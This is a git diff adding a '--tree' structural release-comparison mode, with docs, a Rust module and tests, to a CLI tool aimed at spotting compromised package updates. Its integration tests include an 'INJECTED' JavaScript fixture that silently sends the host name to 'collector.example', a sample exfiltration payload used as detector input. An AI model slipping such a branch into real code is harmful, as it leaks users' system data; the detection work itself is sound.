diff --git a/docs/src/cmd-drift.md b/docs/src/cmd-drift.md index 848f3a1..f1b2fbf 100644 --- a/docs/src/cmd-drift.md +++ b/docs/src/cmd-drift.md @@ -29,6 +29,7 @@ vajra drift [flags] | `--redact` | Apply built-in redaction before output | off | | `--quiet` | Suppress progress output | off | | `--group-by ` | JSONPath for population-level comparison (e.g., `'$.author_type'`) | off | +| `--tree` | Compare two directory trees structurally, file by file | off | --- @@ -277,3 +278,51 @@ The auditor profile flags the removed `taxonomy` path as high severity because s - [`inspect`](./cmd-inspect.md) — understand each document's structure before comparing - [`anomalies`](./cmd-anomalies.md) — drift detects changes between versions; anomalies detect deviations within a version - [`essence`](./cmd-essence.md) — drift observations feed into essence generation when a baseline is provided + +--- + +## Comparing Two Releases: `--tree` + +`drift` compares two documents. `--tree` answers a different question: **what structurally changed between two releases of the same thing?** + +```bash +vajra drift ./pkg-1.0.0 ./pkg-1.0.1 --tree \ + --input-format source --lang javascript --format json --quiet +``` + +```json +{ + "baseline_files": 61, + "candidate_files": 61, + "summary": { "added": 0, "removed": 0, "changed": 59, "unchanged": 2 }, + "total_node_delta": -391898, + "files": [ + { "path": "package/lib/log.js", "change": "changed", + "baseline_nodes": 6714, "candidate_nodes": 789, "node_delta": -5925 } + ], + "errors": [] +} +``` + +Files are matched on their path **relative to each root**, so the differently-named extraction directories of two tarballs line up rather than reporting every file as both added and removed. Comparison is by structural shape, so **reformatting and identifier renaming do not register** — but an added branch, a new call, or an injected payload does. + +### Why change, not state + +Every signal that reads an artifact's *presentation* — does it declare a repository, does it have a description, does it look mature — is blind to a compromised **established** package, because a hijacked real package presents perfectly. What distinguishes it is not its state but its change: version N looked one way, version N+1 grew a payload. + +Measured on two adjacent releases of a real npm package flagged as malicious, against a normal patch release of a legitimate one: + +| | legitimate patch | flagged release | +|---|---|---| +| files changed | 2 of 6 (33%) | **59 of 61 (97%)** | +| net node delta | **+153** | **−391,898** | + +Three orders of magnitude apart. A patch release that rewrites the structure of 97% of its files is not a normal patch, whichever direction the change runs — in that case the earlier version was obfuscated and the later one was not, which is equally worth knowing. + +Read both columns together: `summary` says how much of the release moved, `total_node_delta` says in which direction and by how much. A large positive delta concentrated in one or two files is the signature of an injected payload; a large delta spread across nearly every file is a build-pipeline change, such as minification or obfuscation being switched on or off. + +### Limits + +- **Only files the format selector accepts are compared** — `.json` by default, source files under `--input-format source`. A payload dropped in a `.sh` or a binary is invisible here. +- **Parse failures are reported, not hidden.** Deeply nested obfuscated code can exceed the tree-sitter recursion limit; such files land in `errors` and are counted as `changed` rather than silently treated as unchanged. +- **Shape equality is not semantic equality.** Two files with the same shape can behave differently — a changed string literal is a value change, and this compares structure. Pair with `--format json` on the individual files when a shape match needs confirming. diff --git a/vajra-cli/src/main.rs b/vajra-cli/src/main.rs index 1dd335f..8b1af13 100644 --- a/vajra-cli/src/main.rs +++ b/vajra-cli/src/main.rs @@ -1,5 +1,6 @@ mod batch; mod corpus; +mod treediff; use std::collections::BTreeMap; use std::path::{Path, PathBuf}; @@ -177,6 +178,9 @@ enum Command { /// JSONPath field to partition records by for population-level drift #[arg(long)] group_by: Option, + /// Compare two directory trees structurally, file by file + #[arg(long)] + tree: bool, }, /// Cluster similar documents in a batch Cluster { @@ -375,8 +379,17 @@ fn main() { baseline, candidate, group_by, + tree, } => { - if let Some(field) = group_by { + if *tree { + match candidate { + Some(c) => cmd_tree_diff(baseline, c, &cli), + None => { + eprintln!("vajra: drift --tree requires two directories"); + std::process::exit(1); + } + } + } else if let Some(field) = group_by { cmd_population_drift(baseline, field, &cli) } else { match candidate { @@ -2212,6 +2225,73 @@ fn drift_pair_to_json( } #[allow(clippy::too_many_lines)] +/// Compare two directory trees structurally, file by file. +fn cmd_tree_diff(baseline: &str, candidate: &str, cli: &Cli) -> Result<()> { + let diff = treediff::diff_trees( + Path::new(baseline), + Path::new(candidate), + &|p| is_selectable_file(p, cli), + &|p| load_document_path(p, cli), + &|doc| { + let result = FingerprintAnalyzer + .analyze(doc) + .context("fingerprint analysis failed")?; + Ok(hex(&result.shape)) + }, + )?; + + match cli.format { + Format::Json => { + let json = serde_json::to_string_pretty(&diff).context("JSON serialization failed")?; + println!("{json}"); + } + Format::Text | Format::Markdown | Format::CompactAi => { + println!("=== Structural Tree Diff ==="); + println!(" Baseline files: {}", diff.baseline_files); + println!(" Candidate files: {}", diff.candidate_files); + for kind in ["added", "removed", "changed", "unchanged"] { + println!( + " {:<10} {}", + format!("{kind}:"), + diff.summary.get(kind).copied().unwrap_or(0) + ); + } + println!(" Net node delta: {:+}", diff.total_node_delta); + println!(); + + if diff.files.is_empty() { + println!(" (no structural differences)"); + } else { + println!(" {:<10} {:>10} PATH", "CHANGE", "NODES"); + for f in &diff.files { + let delta = f + .node_delta + .map_or_else(|| " --".to_owned(), |d| format!("{d:>+10}")); + println!( + " {:<10} {} {}", + format!("{:?}", f.change).to_lowercase(), + delta, + f.path + ); + } + println!(); + println!(" Comparison is by structural shape, so reformatting and renaming do"); + println!(" not register. A file whose shape changed grew or lost structure."); + } + + if !diff.errors.is_empty() { + println!(); + println!("=== Errors ({}) ===", diff.errors.len()); + for e in &diff.errors { + println!(" {}: {}", e.path, e.error); + } + } + } + } + + Ok(()) +} + fn cmd_population_drift(input: &str, group_by: &str, cli: &Cli) -> Result<()> { // Use unified load_document so git repos are handled. let doc = load_document(input, cli)?; diff --git a/vajra-cli/src/treediff.rs b/vajra-cli/src/treediff.rs new file mode 100644 index 0000000..47343e7 --- /dev/null +++ b/vajra-cli/src/treediff.rs @@ -0,0 +1,434 @@ +//! Structural diff between two directory trees. +//! +//! `drift` compares two documents. The question this answers is different: +//! *what structurally changed between these two releases of the same thing?* +//! +//! That distinction matters for supply-chain work. Every signal that reads a +//! package's presentation — does it declare a repository, does it have a +//! description, does it look mature — is blind to a compromised *established* +//! package, because a hijacked real package presents perfectly. What +//! distinguishes it is not its state but its **change**: version N looked one +//! way, version N+1 grew a payload. +//! +//! Comparison is by relative path and structural shape, not text, so +//! reformatting and identifier renaming do not register as changes while an +//! added branch or a new call does. + +use std::collections::{BTreeMap, BTreeSet}; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result}; +use rayon::prelude::*; +use serde::Serialize; +use vajra_types::Document; + +/// How one file differs between the two trees. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum FileChange { + /// Present only in the candidate. + Added, + /// Present only in the baseline. + Removed, + /// Present in both, different structural shape. + Changed, + /// Present in both, identical shape. + Unchanged, +} + +impl FileChange { + const fn as_str(self) -> &'static str { + match self { + Self::Added => "added", + Self::Removed => "removed", + Self::Changed => "changed", + Self::Unchanged => "unchanged", + } + } +} + +/// One file's structural comparison. +#[derive(Debug, Clone, Serialize)] +pub struct FileDiff { + /// Path relative to the tree root, so the two sides are comparable. + pub path: String, + /// What happened to this file. + pub change: FileChange, + /// Nodes in the baseline's parse, if present. + #[serde(skip_serializing_if = "Option::is_none")] + pub baseline_nodes: Option, + /// Nodes in the candidate's parse, if present. + #[serde(skip_serializing_if = "Option::is_none")] + pub candidate_nodes: Option, + /// candidate_nodes - baseline_nodes, when both parsed. + #[serde(skip_serializing_if = "Option::is_none")] + pub node_delta: Option, +} + +/// Result of comparing two trees. +#[derive(Debug, Serialize)] +pub struct TreeDiff { + /// Files analysed on the baseline side. + pub baseline_files: usize, + /// Files analysed on the candidate side. + pub candidate_files: usize, + /// Counts per change kind. + pub summary: BTreeMap, + /// Net change in total nodes across all parsed files. + pub total_node_delta: i64, + /// Per-file differences, unchanged files omitted, ordered added/removed/ + /// changed then by path. + pub files: Vec, + /// Files that could not be parsed on either side. + pub errors: Vec, +} + +/// A file that could not be read or parsed. +#[derive(Debug, Clone, Serialize)] +pub struct TreeDiffError { + /// Relative path. + pub path: String, + /// Which side, and why. + pub error: String, +} + +/// Collect analysable files under `root`, keyed by path relative to it. +fn relative_index( + root: &Path, + accept: &dyn Fn(&Path) -> bool, +) -> Result> { + if !root.is_dir() { + anyhow::bail!("{} is not a directory", root.display()); + } + let mut out = BTreeMap::new(); + let mut stack = vec![root.to_path_buf()]; + while let Some(current) = stack.pop() { + let Ok(entries) = std::fs::read_dir(¤t) else { + continue; + }; + let mut dirs = Vec::new(); + for entry in entries.flatten() { + let path = entry.path(); + let Ok(kind) = entry.file_type() else { + continue; + }; + if kind.is_symlink() { + continue; + } + if kind.is_dir() { + dirs.push(path); + } else if kind.is_file() && accept(&path) { + if let Ok(rel) = path.strip_prefix(root) { + out.insert(rel.display().to_string(), path); + } + } + } + dirs.sort(); + dirs.reverse(); + stack.extend(dirs); + } + Ok(out) +} + +/// Compare two trees by relative path and structural shape. +/// +/// `load` parses a file and `shape_of` reduces it to a shape hash plus node +/// count, so the caller controls format resolution. Files are matched on their +/// path relative to each root — an npm tarball nests under `package/`, so +/// comparing absolute paths would report every file as both added and removed. +/// +/// # Errors +/// +/// Returns an error if either root is not a directory. +pub fn diff_trees( + baseline_root: &Path, + candidate_root: &Path, + accept: &dyn Fn(&Path) -> bool, + load: &(dyn Fn(&Path) -> Result + Send + Sync), + shape_of: &(dyn Fn(&Document) -> Result + Send + Sync), +) -> Result { + let baseline = relative_index(baseline_root, accept) + .with_context(|| format!("baseline {}", baseline_root.display()))?; + let candidate = relative_index(candidate_root, accept) + .with_context(|| format!("candidate {}", candidate_root.display()))?; + + let paths: BTreeSet<&String> = baseline.keys().chain(candidate.keys()).collect(); + let ordered: Vec<&String> = paths.into_iter().collect(); + + // (path, change, baseline_nodes, candidate_nodes, errors) + type Row = ( + String, + FileChange, + Option, + Option, + Vec, + ); + + let rows: Vec = ordered + .par_iter() + .map(|rel| { + let mut errors = Vec::new(); + let mut measure = |side: &str, path: Option<&PathBuf>| -> Option<(String, u64)> { + let path = path?; + match load(path).and_then(|doc| { + let nodes = doc.metadata().total_nodes; + shape_of(&doc).map(|shape| (shape, nodes)) + }) { + Ok(v) => Some(v), + Err(e) => { + errors.push(TreeDiffError { + path: (*rel).clone(), + error: format!("{side}: {e:#}"), + }); + None + } + } + }; + + let base = measure("baseline", baseline.get(*rel)); + let cand = measure("candidate", candidate.get(*rel)); + + let change = match (baseline.contains_key(*rel), candidate.contains_key(*rel)) { + (false, true) => FileChange::Added, + (true, false) => FileChange::Removed, + _ => match (&base, &cand) { + (Some((a, _)), Some((b, _))) if a == b => FileChange::Unchanged, + // A file that failed to parse on one side is reported as + // changed rather than silently unchanged. + _ => FileChange::Changed, + }, + }; + + ( + (*rel).clone(), + change, + base.map(|(_, n)| n), + cand.map(|(_, n)| n), + errors, + ) + }) + .collect(); + + let mut summary: BTreeMap = BTreeMap::new(); + let mut files = Vec::new(); + let mut errors = Vec::new(); + let mut total_node_delta = 0i64; + + for (path, change, baseline_nodes, candidate_nodes, errs) in rows { + *summary.entry(change.as_str().to_owned()).or_insert(0) += 1; + errors.extend(errs); + + let node_delta = match (baseline_nodes, candidate_nodes) { + (Some(a), Some(b)) => { + let d = i64::try_from(b).unwrap_or(i64::MAX) - i64::try_from(a).unwrap_or(i64::MAX); + Some(d) + } + (None, Some(b)) => Some(i64::try_from(b).unwrap_or(i64::MAX)), + (Some(a), None) => Some(-i64::try_from(a).unwrap_or(i64::MAX)), + (None, None) => None, + }; + if let Some(d) = node_delta { + total_node_delta += d; + } + + if change != FileChange::Unchanged { + files.push(FileDiff { + path, + change, + baseline_nodes, + candidate_nodes, + node_delta, + }); + } + } + + // Added, removed, then changed; path within each. Fully specified. + files.sort_by(|a, b| a.change.cmp(&b.change).then_with(|| a.path.cmp(&b.path))); + errors.sort_by(|a, b| a.path.cmp(&b.path).then_with(|| a.error.cmp(&b.error))); + + for kind in ["added", "removed", "changed", "unchanged"] { + summary.entry(kind.to_owned()).or_insert(0); + } + + Ok(TreeDiff { + baseline_files: baseline.len(), + candidate_files: candidate.len(), + summary, + total_node_delta, + files, + errors, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn json_only(p: &Path) -> bool { + p.extension().is_some_and(|e| e == "json") + } + + fn load(p: &Path) -> Result { + Ok(vajra_core::parse_file(p)?) + } + + fn shape_of(doc: &Document) -> Result { + // Path set is enough for tests and is stable. + let mut paths: Vec = doc.trie().all_paths().iter().map(|p| p.as_str()).collect(); + paths.sort(); + Ok(paths.join("|")) + } + + fn write(root: &Path, rel: &str, body: &str) -> Result<()> { + let path = root.join(rel); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + std::fs::write(path, body)?; + Ok(()) + } + + #[test] + fn identical_trees_report_no_changes() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + for root in [a.path(), b.path()] { + write(root, "pkg/one.json", r#"{"a":1,"b":[2,3]}"#)?; + write(root, "pkg/two.json", r#"{"c":{"d":4}}"#)?; + } + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert!(d.files.is_empty(), "no per-file entries for unchanged"); + assert_eq!(d.summary.get("unchanged"), Some(&2)); + assert_eq!(d.total_node_delta, 0); + Ok(()) + } + + /// Matching is by path *relative to each root*, so differently-named parent + /// directories still line up. Without this every file would be reported as + /// both added and removed. + #[test] + fn matches_on_relative_path() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "pkg/index.json", r#"{"a":1}"#)?; + write(b.path(), "pkg/index.json", r#"{"a":1}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("unchanged"), Some(&1)); + assert_eq!(d.summary.get("added"), Some(&0)); + Ok(()) + } + + #[test] + fn detects_added_removed_and_changed() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "same.json", r#"{"a":1}"#)?; + write(a.path(), "gone.json", r#"{"x":1}"#)?; + write(a.path(), "edited.json", r#"{"a":1}"#)?; + write(b.path(), "same.json", r#"{"a":1}"#)?; + write( + b.path(), + "edited.json", + r#"{"a":1,"injected":{"deep":true}}"#, + )?; + write(b.path(), "new.json", r#"{"y":2}"#)?; + + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("added"), Some(&1)); + assert_eq!(d.summary.get("removed"), Some(&1)); + assert_eq!(d.summary.get("changed"), Some(&1)); + assert_eq!(d.summary.get("unchanged"), Some(&1)); + + // Added first, then removed, then changed. + let kinds: Vec = d.files.iter().map(|f| f.change).collect(); + assert_eq!( + kinds, + vec![FileChange::Added, FileChange::Removed, FileChange::Changed] + ); + + let edited = d + .files + .iter() + .find(|f| f.path == "edited.json") + .ok_or("missing edited")?; + assert!( + edited.node_delta.is_some_and(|d| d > 0), + "growth should be positive, got {:?}", + edited.node_delta + ); + Ok(()) + } + + /// Structural comparison must ignore changes that do not alter shape. + #[test] + fn value_only_edits_are_unchanged() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "x.json", r#"{"host":"alpha","port":1}"#)?; + write(b.path(), "x.json", r#"{"host":"beta","port":2}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!( + d.summary.get("unchanged"), + Some(&1), + "same shape, different values" + ); + Ok(()) + } + + #[test] + fn added_and_removed_contribute_node_delta() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "keep.json", r#"{"a":1}"#)?; + write(b.path(), "keep.json", r#"{"a":1}"#)?; + write(b.path(), "extra.json", r#"{"a":1,"b":2,"c":3}"#)?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert!( + d.total_node_delta > 0, + "an added file grows the tree, got {}", + d.total_node_delta + ); + Ok(()) + } + + #[test] + fn unparseable_file_is_reported_and_counted_changed() -> Result<(), Box> + { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + write(a.path(), "x.json", r#"{"a":1}"#)?; + write(b.path(), "x.json", "{not json{{{")?; + let d = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + assert_eq!(d.summary.get("changed"), Some(&1)); + assert_eq!(d.errors.len(), 1, "the failure is reported"); + assert!(d.errors[0].error.contains("candidate")); + Ok(()) + } + + #[test] + fn non_directory_input_is_rejected() -> Result<(), Box> { + let a = tempfile::tempdir()?; + write(a.path(), "f.json", "{}")?; + let file = a.path().join("f.json"); + assert!(diff_trees(&file, a.path(), &json_only, &load, &shape_of).is_err()); + assert!(diff_trees(a.path(), &file, &json_only, &load, &shape_of).is_err()); + Ok(()) + } + + #[test] + fn is_deterministic() -> Result<(), Box> { + let a = tempfile::tempdir()?; + let b = tempfile::tempdir()?; + for i in 0..8 { + write(a.path(), &format!("d/f{i}.json"), r#"{"a":1}"#)?; + write(b.path(), &format!("d/f{i}.json"), r#"{"a":1,"b":2}"#)?; + } + let one = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + let two = diff_trees(a.path(), b.path(), &json_only, &load, &shape_of)?; + let paths = + |d: &TreeDiff| -> Vec { d.files.iter().map(|f| f.path.clone()).collect() }; + assert_eq!(paths(&one), paths(&two)); + assert_eq!(one.total_node_delta, two.total_node_delta); + Ok(()) + } +} diff --git a/vajra-cli/tests/tree_diff.rs b/vajra-cli/tests/tree_diff.rs new file mode 100644 index 0000000..78cfe28 --- /dev/null +++ b/vajra-cli/tests/tree_diff.rs @@ -0,0 +1,276 @@ +//! Integration tests for `vajra drift --tree`. +//! +//! Comparing two releases of the same artifact is a different question from +//! comparing two documents: what matters is the *change*, since a compromised +//! established package presents perfectly at any single point in time. + +use std::io::Write; +use std::path::Path; +use std::process::Command; + +use anyhow::{anyhow, Context, Result}; +use tempfile::TempDir; + +fn vajra_bin() -> std::path::PathBuf { + let mut p = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")); + p.pop(); + p.push("target"); + p.push("debug"); + p.push("vajra"); + p +} + +fn as_str(path: &Path) -> Result<&str> { + path.to_str() + .ok_or_else(|| anyhow!("path is not valid UTF-8: {}", path.display())) +} + +fn write(root: &Path, rel: &str, body: &str) -> Result<()> { + let path = root.join(rel); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent)?; + } + let mut f = std::fs::File::create(&path)?; + f.write_all(body.as_bytes())?; + f.flush()?; + Ok(()) +} + +fn tree_diff(a: &Path, b: &Path, extra: &[&str]) -> Result { + let mut cmd = Command::new(vajra_bin()); + cmd.arg("drift") + .arg(as_str(a)?) + .arg(as_str(b)?) + .arg("--tree") + .args(["--format", "json", "--quiet"]); + cmd.args(extra); + let out = cmd.output().context("failed to run vajra drift --tree")?; + assert!( + out.status.success(), + "tree diff failed: {}", + String::from_utf8_lossy(&out.stderr) + ); + serde_json::from_slice(&out.stdout).context("tree diff did not emit valid JSON") +} + +const CLEAN: &str = r" +function handler(req, res) { + const payload = { ok: true, id: req.id }; + if (!req.id) { return res.status(400).end(); } + return res.json(payload); +} +module.exports = handler; +"; + +/// Same shape, different string values and identifier names. +const RENAMED: &str = r" +function process(request, response) { + const body = { ok: true, id: request.id }; + if (!request.id) { return response.status(400).end(); } + return response.json(body); +} +module.exports = process; +"; + +/// The clean module plus an injected exfiltration branch. +const INJECTED: &str = r" +const os = require('os'); +const http = require('http'); +function handler(req, res) { + const payload = { ok: true, id: req.id }; + try { + http.request({ host: 'collector.example', path: '/' + os.hostname() }).end(); + } catch (e) { } + if (!req.id) { return res.status(400).end(); } + return res.json(payload); +} +module.exports = handler; +"; + +#[test] +fn identical_releases_report_no_changes() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + for root in [a.path(), b.path()] { + write(root, "package/index.js", CLEAN)?; + } + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["unchanged"], 1); + assert_eq!(d["summary"]["changed"], 0); + assert_eq!(d["total_node_delta"], 0); + assert_eq!(d["files"].as_array().map(Vec::len), Some(0)); + Ok(()) +} + +/// Renaming and reformatting must not register — otherwise every release would +/// look like a rewrite and the signal would be useless. +#[test] +fn renaming_is_not_a_structural_change() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(b.path(), "package/index.js", RENAMED)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!( + d["summary"]["unchanged"], 1, + "identifier renaming is not structural" + ); + Ok(()) +} + +/// The case this exists for: an injected payload in an otherwise stable release. +#[test] +fn injected_payload_is_detected() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(a.path(), "package/util.js", CLEAN)?; + write(b.path(), "package/index.js", INJECTED)?; + write(b.path(), "package/util.js", CLEAN)?; + + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["changed"], 1, "only the injected file changed"); + assert_eq!(d["summary"]["unchanged"], 1); + + let files = d["files"].as_array().ok_or_else(|| anyhow!("no files"))?; + let changed = files + .iter() + .find(|f| f["change"] == "changed") + .ok_or_else(|| anyhow!("no changed entry"))?; + assert!(changed["path"] + .as_str() + .is_some_and(|p| p.ends_with("index.js"))); + assert!( + changed["node_delta"].as_i64().is_some_and(|d| d > 0), + "an injected payload grows the tree, got {:?}", + changed["node_delta"] + ); + assert!(d["total_node_delta"].as_i64().is_some_and(|d| d > 0)); + Ok(()) +} + +/// Files are matched on their path relative to each root, so the differently +/// named extraction directories of two tarballs still line up. +#[test] +fn differently_named_roots_still_align() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/lib/x.js", CLEAN)?; + write(b.path(), "package/lib/x.js", CLEAN)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["unchanged"], 1); + assert_eq!(d["summary"]["added"], 0); + assert_eq!(d["summary"]["removed"], 0); + Ok(()) +} + +#[test] +fn added_and_removed_files_are_reported() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/gone.js", CLEAN)?; + write(b.path(), "package/new.js", CLEAN)?; + let d = tree_diff( + a.path(), + b.path(), + &["--input-format", "source", "--lang", "javascript"], + )?; + assert_eq!(d["summary"]["added"], 1); + assert_eq!(d["summary"]["removed"], 1); + + // Added first, then removed — fully specified ordering. + let kinds: Vec<&str> = d["files"] + .as_array() + .ok_or_else(|| anyhow!("no files"))? + .iter() + .filter_map(|f| f["change"].as_str()) + .collect(); + assert_eq!(kinds, vec!["added", "removed"]); + Ok(()) +} + +#[test] +fn json_trees_work_without_source_format() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "d/one.json", r#"{"a":1}"#)?; + write( + b.path(), + "d/one.json", + r#"{"a":1,"injected":{"deep":true}}"#, + )?; + let d = tree_diff(a.path(), b.path(), &[])?; + assert_eq!(d["summary"]["changed"], 1); + Ok(()) +} + +#[test] +fn requires_two_directories() -> Result<()> { + let a = TempDir::new()?; + write(a.path(), "x.json", "{}")?; + let out = Command::new(vajra_bin()) + .arg("drift") + .arg(as_str(a.path())?) + .arg("--tree") + .output()?; + assert!(!out.status.success(), "one argument is not enough"); + let stderr = String::from_utf8_lossy(&out.stderr); + assert!(stderr.contains("two directories"), "got: {stderr}"); + Ok(()) +} + +#[test] +fn text_output_states_the_comparison_basis() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + write(a.path(), "package/index.js", CLEAN)?; + write(b.path(), "package/index.js", INJECTED)?; + let out = Command::new(vajra_bin()) + .arg("drift") + .arg(as_str(a.path())?) + .arg(as_str(b.path())?) + .arg("--tree") + .args(["--input-format", "source", "--lang", "javascript"]) + .arg("--quiet") + .output()?; + assert!(out.status.success()); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!(stdout.contains("Structural Tree Diff"), "{stdout}"); + assert!(stdout.contains("Net node delta"), "{stdout}"); + assert!( + stdout.contains("structural shape"), + "must state what is compared:\n{stdout}" + ); + Ok(()) +} + +#[test] +fn is_deterministic() -> Result<()> { + let a = TempDir::new()?; + let b = TempDir::new()?; + for i in 0..6 { + write(a.path(), &format!("package/f{i}.js"), CLEAN)?; + write(b.path(), &format!("package/f{i}.js"), INJECTED)?; + } + let args = ["--input-format", "source", "--lang", "javascript"]; + let one = tree_diff(a.path(), b.path(), &args)?; + let two = tree_diff(a.path(), b.path(), &args)?; + assert_eq!(serde_json::to_string(&one)?, serde_json::to_string(&two)?); + Ok(()) +}